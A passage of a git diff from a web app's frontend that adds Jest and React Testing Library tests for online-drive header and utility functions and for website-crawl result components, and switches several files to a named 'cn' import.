+        const props = createHeaderProps({ docLink })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByRole('link')).toHaveAttribute('href', docLink)
+      })
+    })
+
+    describe('onClickConfiguration prop', () => {
+      it('should call onClickConfiguration when configuration icon is clicked', () => {
+        // Arrange
+        const mockOnClickConfiguration = jest.fn()
+        const props = createHeaderProps({ onClickConfiguration: mockOnClickConfiguration })
+
+        // Act
+        render(<Header {...props} />)
+        const configIcon = screen.getByRole('button').querySelector('svg')
+        fireEvent.click(configIcon!)
+
+        // Assert
+        expect(mockOnClickConfiguration).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not throw when onClickConfiguration is undefined', () => {
+        // Arrange
+        const props = createHeaderProps({ onClickConfiguration: undefined })
+
+        // Act & Assert
+        expect(() => render(<Header {...props} />)).not.toThrow()
+      })
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have accessible link with title attribute', () => {
+      // Arrange
+      const props = createHeaderProps({ docTitle: 'Accessible Title' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const titleSpan = screen.getByTitle('Accessible Title')
+      expect(titleSpan).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// Utils Tests
+// ==========================================
+describe('utils', () => {
+  // ==========================================
+  // isFile Tests
+  // ==========================================
+  describe('isFile', () => {
+    it('should return true for file type', () => {
+      // Act & Assert
+      expect(isFile('file')).toBe(true)
+    })
+
+    it('should return false for folder type', () => {
+      // Act & Assert
+      expect(isFile('folder')).toBe(false)
+    })
+
+    it.each([
+      ['file', true],
+      ['folder', false],
+    ] as const)('isFile(%s) should return %s', (type, expected) => {
+      // Act & Assert
+      expect(isFile(type)).toBe(expected)
+    })
+  })
+
+  // ==========================================
+  // isBucketListInitiation Tests
+  // ==========================================
+  describe('isBucketListInitiation', () => {
+    it('should return false when bucket is not empty', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: 'my-bucket', files: [], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], 'existing-bucket')).toBe(false)
+    })
+
+    it('should return false when prefix is not empty', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: 'my-bucket', files: [], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, ['folder1'], '')).toBe(false)
+    })
+
+    it('should return false when data items have no bucket', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: '', files: [{ id: '1', name: 'file.txt', size: 1024, type: 'file' }], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], '')).toBe(false)
+    })
+
+    it('should return true for multiple buckets with no prefix and bucket', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: 'bucket-1', files: [], is_truncated: false, next_page_parameters: {} },
+        { bucket: 'bucket-2', files: [], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], '')).toBe(true)
+    })
+
+    it('should return true for single bucket with no files, no prefix, and no bucket', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: 'my-bucket', files: [], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], '')).toBe(true)
+    })
+
+    it('should return false for single bucket with files', () => {
+      // Arrange
+      const data: OnlineDriveData[] = [
+        { bucket: 'my-bucket', files: [{ id: '1', name: 'file.txt', size: 1024, type: 'file' }], is_truncated: false, next_page_parameters: {} },
+      ]
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], '')).toBe(false)
+    })
+
+    it('should return false for empty data array', () => {
+      // Arrange
+      const data: OnlineDriveData[] = []
+
+      // Act & Assert
+      expect(isBucketListInitiation(data, [], '')).toBe(false)
+    })
+  })
+
+  // ==========================================
+  // convertOnlineDriveData Tests
+  // ==========================================
+  describe('convertOnlineDriveData', () => {
+    describe('Empty data handling', () => {
+      it('should return empty result for empty data array', () => {
+        // Arrange
+        const data: OnlineDriveData[] = []
+
+        // Act
+        const result = convertOnlineDriveData(data, [], '')
+
+        // Assert
+        expect(result).toEqual({
+          fileList: [],
+          isTruncated: false,
+          nextPageParameters: {},
+          hasBucket: false,
+        })
+      })
+    })
+
+    describe('Bucket list initiation', () => {
+      it('should convert multiple buckets to bucket file list', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          { bucket: 'bucket-1', files: [], is_truncated: false, next_page_parameters: {} },
+          { bucket: 'bucket-2', files: [], is_truncated: false, next_page_parameters: {} },
+          { bucket: 'bucket-3', files: [], is_truncated: false, next_page_parameters: {} },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], '')
+
+        // Assert
+        expect(result.fileList).toHaveLength(3)
+        expect(result.fileList[0]).toEqual({
+          id: 'bucket-1',
+          name: 'bucket-1',
+          type: OnlineDriveFileType.bucket,
+        })
+        expect(result.fileList[1]).toEqual({
+          id: 'bucket-2',
+          name: 'bucket-2',
+          type: OnlineDriveFileType.bucket,
+        })
+        expect(result.fileList[2]).toEqual({
+          id: 'bucket-3',
+          name: 'bucket-3',
+          type: OnlineDriveFileType.bucket,
+        })
+        expect(result.hasBucket).toBe(true)
+        expect(result.isTruncated).toBe(false)
+        expect(result.nextPageParameters).toEqual({})
+      })
+
+      it('should convert single bucket with no files to bucket list', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          { bucket: 'my-bucket', files: [], is_truncated: false, next_page_parameters: {} },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], '')
+
+        // Assert
+        expect(result.fileList).toHaveLength(1)
+        expect(result.fileList[0]).toEqual({
+          id: 'my-bucket',
+          name: 'my-bucket',
+          type: OnlineDriveFileType.bucket,
+        })
+        expect(result.hasBucket).toBe(true)
+      })
+    })
+
+    describe('File list conversion', () => {
+      it('should convert files correctly', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [
+              { id: 'file-1', name: 'document.pdf', size: 1024, type: 'file' },
+              { id: 'file-2', name: 'image.png', size: 2048, type: 'file' },
+            ],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, ['folder1'], 'my-bucket')
+
+        // Assert
+        expect(result.fileList).toHaveLength(2)
+        expect(result.fileList[0]).toEqual({
+          id: 'file-1',
+          name: 'document.pdf',
+          size: 1024,
+          type: OnlineDriveFileType.file,
+        })
+        expect(result.fileList[1]).toEqual({
+          id: 'file-2',
+          name: 'image.png',
+          size: 2048,
+          type: OnlineDriveFileType.file,
+        })
+        expect(result.hasBucket).toBe(true)
+      })
+
+      it('should convert folders correctly without size', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [
+              { id: 'folder-1', name: 'Documents', size: 0, type: 'folder' },
+              { id: 'folder-2', name: 'Images', size: 0, type: 'folder' },
+            ],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.fileList).toHaveLength(2)
+        expect(result.fileList[0]).toEqual({
+          id: 'folder-1',
+          name: 'Documents',
+          size: undefined,
+          type: OnlineDriveFileType.folder,
+        })
+        expect(result.fileList[1]).toEqual({
+          id: 'folder-2',
+          name: 'Images',
+          size: undefined,
+          type: OnlineDriveFileType.folder,
+        })
+      })
+
+      it('should handle mixed files and folders', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [
+              { id: 'folder-1', name: 'Documents', size: 0, type: 'folder' },
+              { id: 'file-1', name: 'readme.txt', size: 256, type: 'file' },
+              { id: 'folder-2', name: 'Images', size: 0, type: 'folder' },
+              { id: 'file-2', name: 'data.json', size: 512, type: 'file' },
+            ],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.fileList).toHaveLength(4)
+        expect(result.fileList[0].type).toBe(OnlineDriveFileType.folder)
+        expect(result.fileList[1].type).toBe(OnlineDriveFileType.file)
+        expect(result.fileList[2].type).toBe(OnlineDriveFileType.folder)
+        expect(result.fileList[3].type).toBe(OnlineDriveFileType.file)
+      })
+    })
+
+    describe('Truncation and pagination', () => {
+      it('should return isTruncated true when data is truncated', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: true,
+            next_page_parameters: { cursor: 'next-cursor' },
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.isTruncated).toBe(true)
+        expect(result.nextPageParameters).toEqual({ cursor: 'next-cursor' })
+      })
+
+      it('should return isTruncated false when not truncated', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.isTruncated).toBe(false)
+        expect(result.nextPageParameters).toEqual({})
+      })
+
+      it('should handle undefined is_truncated', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: undefined as any,
+            next_page_parameters: undefined as any,
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.isTruncated).toBe(false)
+        expect(result.nextPageParameters).toEqual({})
+      })
+    })
+
+    describe('hasBucket flag', () => {
+      it('should return hasBucket true when bucket exists in data', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.hasBucket).toBe(true)
+      })
+
+      it('should return hasBucket false when bucket is empty in data', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: '',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], '')
+
+        // Assert
+        expect(result.hasBucket).toBe(false)
+      })
+    })
+
+    describe('Edge cases', () => {
+      it('should handle files with zero size', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'empty.txt', size: 0, type: 'file' }],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.fileList[0].size).toBe(0)
+      })
+
+      it('should handle files with very large size', () => {
+        // Arrange
+        const largeSize = Number.MAX_SAFE_INTEGER
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'large.bin', size: largeSize, type: 'file' }],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.fileList[0].size).toBe(largeSize)
+      })
+
+      it('should handle files with special characters in name', () => {
+        // Arrange
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [
+              { id: 'file-1', name: 'file[1] (copy).txt', size: 1024, type: 'file' },
+              { id: 'file-2', name: 'doc-with-dash_and_underscore.pdf', size: 2048, type: 'file' },
+              { id: 'file-3', name: 'file with spaces.txt', size: 512, type: 'file' },
+            ],
+            is_truncated: false,
+            next_page_parameters: {},
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.fileList[0].name).toBe('file[1] (copy).txt')
+        expect(result.fileList[1].name).toBe('doc-with-dash_and_underscore.pdf')
+        expect(result.fileList[2].name).toBe('file with spaces.txt')
+      })
+
+      it('should handle complex next_page_parameters', () => {
+        // Arrange
+        const complexParams = {
+          cursor: 'abc123',
+          page: 2,
+          limit: 50,
+          nested: { key: 'value' },
+        }
+        const data: OnlineDriveData[] = [
+          {
+            bucket: 'my-bucket',
+            files: [{ id: 'file-1', name: 'file.txt', size: 1024, type: 'file' }],
+            is_truncated: true,
+            next_page_parameters: complexParams,
+          },
+        ]
+
+        // Act
+        const result = convertOnlineDriveData(data, [], 'my-bucket')
+
+        // Assert
+        expect(result.nextPageParameters).toEqual(complexParams)
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/checkbox-with-label.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/checkbox-with-label.tsx
index 7856b16cfc..6ae40f6eed 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/checkbox-with-label.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/checkbox-with-label.tsx
@@ -1,6 +1,6 @@
 'use client'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Checkbox from '@/app/components/base/checkbox'
 import Tooltip from '@/app/components/base/tooltip'
 
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result-item.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result-item.tsx
index bdfcddfd77..c0bd4d46ee 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result-item.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result-item.tsx
@@ -1,6 +1,6 @@
 'use client'
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlResultItem as CrawlResultItemType } from '@/models/datasets'
 import Checkbox from '@/app/components/base/checkbox'
 import Button from '@/app/components/base/button'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result.tsx
index cd410c4d1e..f898651ef7 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawled-result.tsx
@@ -1,7 +1,7 @@
 'use client'
 import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlResultItem } from '@/models/datasets'
 import CheckboxWithLabel from './checkbox-with-label'
 import CrawledResultItem from './crawled-result-item'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawling.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawling.tsx
index a9199cdef7..4c3d7edcb8 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawling.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/crawling.tsx
@@ -1,7 +1,7 @@
 'use client'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type CrawlingProps = {
   className?: string
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/error-message.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/error-message.tsx
index ca1cef246d..e7a885db19 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/error-message.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/error-message.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiErrorWarningFill } from '@remixicon/react'
 
 type ErrorMessageProps = {
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/index.spec.tsx
new file mode 100644
index 0000000000..f96127f361
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/index.spec.tsx
@@ -0,0 +1,947 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import CheckboxWithLabel from './checkbox-with-label'
+import CrawledResultItem from './crawled-result-item'
+import CrawledResult from './crawled-result'
+import Crawling from './crawling'
+import ErrorMessage from './error-message'
+import type { CrawlResultItem as CrawlResultItemType } from '@/models/datasets'
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+
+const createMockCrawlResultItem = (overrides?: Partial<CrawlResultItemType>): CrawlResultItemType => ({
+  source_url: 'https://example.com/page1',
+  title: 'Test Page Title',
+  markdown: '# Test content',
+  description: 'Test description',
+  ...overrides,
+})
+
+const createMockCrawlResultItems = (count = 3): CrawlResultItemType[] => {
+  return Array.from({ length: count }, (_, i) =>
+    createMockCrawlResultItem({
+      source_url: `https://example.com/page${i + 1}`,
+      title: `Page ${i + 1}`,
+    }),
+  )
+}
+
+// ==========================================
+// CheckboxWithLabel Tests
+// ==========================================
+describe('CheckboxWithLabel', () => {
+  const defaultProps = {
+    isChecked: false,
+    onChange: jest.fn(),
+    label: 'Test Label',
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<CheckboxWithLabel {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Test Label')).toBeInTheDocument()
+    })
+
+    it('should render checkbox in unchecked state', () => {
+      // Arrange & Act
+      const { container } = render(<CheckboxWithLabel {...defaultProps} isChecked={false} />)
+
+      // Assert - Custom checkbox component uses div with data-testid
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')
+      expect(checkbox).toBeInTheDocument()
+      expect(checkbox).not.toHaveClass('bg-components-checkbox-bg')
+    })
+
+    it('should render checkbox in checked state', () => {
+      // Arrange & Act
+      const { container } = render(<CheckboxWithLabel {...defaultProps} isChecked={true} />)
+
+      // Assert - Checked state has check icon
+      const checkIcon = container.querySelector('[data-testid^="check-icon"]')
+      expect(checkIcon).toBeInTheDocument()
+    })
+
+    it('should render tooltip when provided', () => {
+      // Arrange & Act
+      render(<CheckboxWithLabel {...defaultProps} tooltip="Helpful tooltip text" />)
+
+      // Assert - Tooltip trigger should be present
+      const tooltipTrigger = document.querySelector('[class*="ml-0.5"]')
+      expect(tooltipTrigger).toBeInTheDocument()
+    })
+
+    it('should not render tooltip when not provided', () => {
+      // Arrange & Act
+      render(<CheckboxWithLabel {...defaultProps} />)
+
+      // Assert
+      const tooltipTrigger = document.querySelector('[class*="ml-0.5"]')
+      expect(tooltipTrigger).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      // Arrange & Act
+      const { container } = render(
+        <CheckboxWithLabel {...defaultProps} className="custom-class" />,
+      )
+
+      // Assert
+      const label = container.querySelector('label')
+      expect(label).toHaveClass('custom-class')
+    })
+
+    it('should apply custom labelClassName', () => {
+      // Arrange & Act
+      render(<CheckboxWithLabel {...defaultProps} labelClassName="custom-label-class" />)
+
+      // Assert
+      const labelText = screen.getByText('Test Label')
+      expect(labelText).toHaveClass('custom-label-class')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call onChange with true when clicking unchecked checkbox', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const { container } = render(<CheckboxWithLabel {...defaultProps} isChecked={false} onChange={mockOnChange} />)
+
+      // Act
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')!
+      fireEvent.click(checkbox)
+
+      // Assert
+      expect(mockOnChange).toHaveBeenCalledWith(true)
+    })
+
+    it('should call onChange with false when clicking checked checkbox', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const { container } = render(<CheckboxWithLabel {...defaultProps} isChecked={true} onChange={mockOnChange} />)
+
+      // Act
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')!
+      fireEvent.click(checkbox)
+
+      // Assert
+      expect(mockOnChange).toHaveBeenCalledWith(false)
+    })
+
+    it('should not trigger onChange when clicking label text due to custom checkbox', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      render(<CheckboxWithLabel {...defaultProps} onChange={mockOnChange} />)
+
+      // Act - Click on the label text element
+      const labelText = screen.getByText('Test Label')
+      fireEvent.click(labelText)
+
+      // Assert - Custom checkbox does not support native label-input click forwarding
+      expect(mockOnChange).not.toHaveBeenCalled()
+    })
+  })
+})
+
+// ==========================================
+// CrawledResultItem Tests
+// ==========================================
+describe('CrawledResultItem', () => {
+  const defaultProps = {
+    payload: createMockCrawlResultItem(),
+    isChecked: false,
+    onCheckChange: jest.fn(),
+    isPreview: false,
+    showPreview: true,
+    onPreview: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<CrawledResultItem {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Test Page Title')).toBeInTheDocument()
+      expect(screen.getByText('https://example.com/page1')).toBeInTheDocument()
+    })
+
+    it('should render checkbox when isMultipleChoice is true', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResultItem {...defaultProps} isMultipleChoice={true} />)
+
+      // Assert - Custom checkbox uses data-testid
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should render radio when isMultipleChoice is false', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResultItem {...defaultProps} isMultipleChoice={false} />)
+
+      // Assert - Radio component has size-4 rounded-full classes
+      const radio = container.querySelector('.size-4.rounded-full')
+      expect(radio).toBeInTheDocument()
+    })
+
+    it('should render checkbox as checked when isChecked is true', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResultItem {...defaultProps} isChecked={true} />)
+
+      // Assert - Checked state shows check icon
+      const checkIcon = container.querySelector('[data-testid^="check-icon"]')
+      expect(checkIcon).toBeInTheDocument()
+    })
+
+    it('should render preview button when showPreview is true', () => {
+      // Arrange & Act
+      render(<CrawledResultItem {...defaultProps} showPreview={true} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should not render preview button when showPreview is false', () => {
+      // Arrange & Act
+      render(<CrawledResultItem {...defaultProps} showPreview={false} />)
+
+      // Assert
+      expect(screen.queryByRole('button')).not.toBeInTheDocument()
+    })
+
+    it('should apply active background when isPreview is true', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResultItem {...defaultProps} isPreview={true} />)
+
+      // Assert
+      const item = container.firstChild
+      expect(item).toHaveClass('bg-state-base-active')
+    })
+
+    it('should apply hover styles when isPreview is false', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResultItem {...defaultProps} isPreview={false} />)
+
+      // Assert
+      const item = container.firstChild
+      expect(item).toHaveClass('group')
+      expect(item).toHaveClass('hover:bg-state-base-hover')
+    })
+  })
+
+  describe('Props', () => {
+    it('should display payload title', () => {
+      // Arrange
+      const payload = createMockCrawlResultItem({ title: 'Custom Title' })
+
+      // Act
+      render(<CrawledResultItem {...defaultProps} payload={payload} />)
+
+      // Assert
+      expect(screen.getByText('Custom Title')).toBeInTheDocument()
+    })
+
+    it('should display payload source_url', () => {
+      // Arrange
+      const payload = createMockCrawlResultItem({ source_url: 'https://custom.url/path' })
+
+      // Act
+      render(<CrawledResultItem {...defaultProps} payload={payload} />)
+
+      // Assert
+      expect(screen.getByText('https://custom.url/path')).toBeInTheDocument()
+    })
+
+    it('should set title attribute for truncation tooltip', () => {
+      // Arrange
+      const payload = createMockCrawlResultItem({ title: 'Very Long Title' })
+
+      // Act
+      render(<CrawledResultItem {...defaultProps} payload={payload} />)
+
+      // Assert
+      const titleElement = screen.getByText('Very Long Title')
+      expect(titleElement).toHaveAttribute('title', 'Very Long Title')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call onCheckChange with true when clicking unchecked checkbox', () => {
+      // Arrange
+      const mockOnCheckChange = jest.fn()
+      const { container } = render(
+        <CrawledResultItem
+          {...defaultProps}
+          isChecked={false}
+          onCheckChange={mockOnCheckChange}
+        />,
+      )
+
+      // Act
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')!
+      fireEvent.click(checkbox)
+
+      // Assert
+      expect(mockOnCheckChange).toHaveBeenCalledWith(true)
+    })
+
+    it('should call onCheckChange with false when clicking checked checkbox', () => {
+      // Arrange
+      const mockOnCheckChange = jest.fn()
+      const { container } = render(
+        <CrawledResultItem
+          {...defaultProps}
+          isChecked={true}
+          onCheckChange={mockOnCheckChange}
+        />,
+      )
+
+      // Act
+      const checkbox = container.querySelector('[data-testid^="checkbox"]')!
+      fireEvent.click(checkbox)
+
+      // Assert
+      expect(mockOnCheckChange).toHaveBeenCalledWith(false)
+    })
+
+    it('should call onPreview when clicking preview button', () => {
+      // Arrange
+      const mockOnPreview = jest.fn()
+      render(<CrawledResultItem {...defaultProps} onPreview={mockOnPreview} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(mockOnPreview).toHaveBeenCalled()
+    })
+
+    it('should toggle radio state when isMultipleChoice is false', () => {
+      // Arrange
+      const mockOnCheckChange = jest.fn()
+      const { container } = render(
+        <CrawledResultItem
+          {...defaultProps}
+          isMultipleChoice={false}
+          isChecked={false}
+          onCheckChange={mockOnCheckChange}
+        />,
+      )
+
+      // Act - Radio uses size-4 rounded-full classes
+      const radio = container.querySelector('.size-4.rounded-full')!
+      fireEvent.click(radio)
+
+      // Assert
+      expect(mockOnCheckChange).toHaveBeenCalledWith(true)
+    })
+  })
+})
+
+// ==========================================
+// CrawledResult Tests
+// ==========================================
+describe('CrawledResult', () => {
+  const defaultProps = {
+    list: createMockCrawlResultItems(3),
+    checkedList: [] as CrawlResultItemType[],
+    onSelectedChange: jest.fn(),
+    usedTime: 1.5,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} />)
+
+      // Assert - Check for time info which contains total count
+      expect(screen.getByText(/1.5/)).toBeInTheDocument()
+    })
+
+    it('should render all list items', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+      expect(screen.getByText('Page 2')).toBeInTheDocument()
+      expect(screen.getByText('Page 3')).toBeInTheDocument()
+    })
+
+    it('should display scrape time info', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} usedTime={2.5} />)
+
+      // Assert - Check for the time display
+      expect(screen.getByText(/2.5/)).toBeInTheDocument()
+    })
+
+    it('should render select all checkbox when isMultipleChoice is true', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResult {...defaultProps} isMultipleChoice={true} />)
+
+      // Assert - Multiple custom checkboxes (select all + items)
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      expect(checkboxes.length).toBe(4) // 1 select all + 3 items
+    })
+
+    it('should not render select all checkbox when isMultipleChoice is false', () => {
+      // Arrange & Act
+      const { container } = render(<CrawledResult {...defaultProps} isMultipleChoice={false} />)
+
+      // Assert - No select all checkbox, only radio buttons for items
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      expect(checkboxes.length).toBe(0)
+      // Radio buttons have size-4 and rounded-full classes
+      const radios = container.querySelectorAll('.size-4.rounded-full')
+      expect(radios.length).toBe(3)
+    })
+
+    it('should show "Select All" when not all items are checked', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} checkedList={[]} />)
+
+      // Assert
+      expect(screen.getByText(/selectAll|Select All/i)).toBeInTheDocument()
+    })
+
+    it('should show "Reset All" when all items are checked', () => {
+      // Arrange
+      const allChecked = createMockCrawlResultItems(3)
+
+      // Act
+      render(<CrawledResult {...defaultProps} checkedList={allChecked} />)
+
+      // Assert
+      expect(screen.getByText(/resetAll|Reset All/i)).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      // Arrange & Act
+      const { container } = render(
+        <CrawledResult {...defaultProps} className="custom-class" />,
+      )
+
+      // Assert
+      expect(container.firstChild).toHaveClass('custom-class')
+    })
+
+    it('should highlight item at previewIndex', () => {
+      // Arrange & Act
+      const { container } = render(
+        <CrawledResult {...defaultProps} previewIndex={1} />,
+      )
+
+      // Assert - Second item should have active state
+      const items = container.querySelectorAll('[class*="rounded-lg"][class*="cursor-pointer"]')
+      expect(items[1]).toHaveClass('bg-state-base-active')
+    })
+
+    it('should pass showPreview to items', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} showPreview={true} />)
+
+      // Assert - Preview buttons should be visible
+      const buttons = screen.getAllByRole('button')
+      expect(buttons.length).toBe(3)
+    })
+
+    it('should not show preview buttons when showPreview is false', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} showPreview={false} />)
+
+      // Assert
+      expect(screen.queryByRole('button')).not.toBeInTheDocument()
+    })
+  })
+
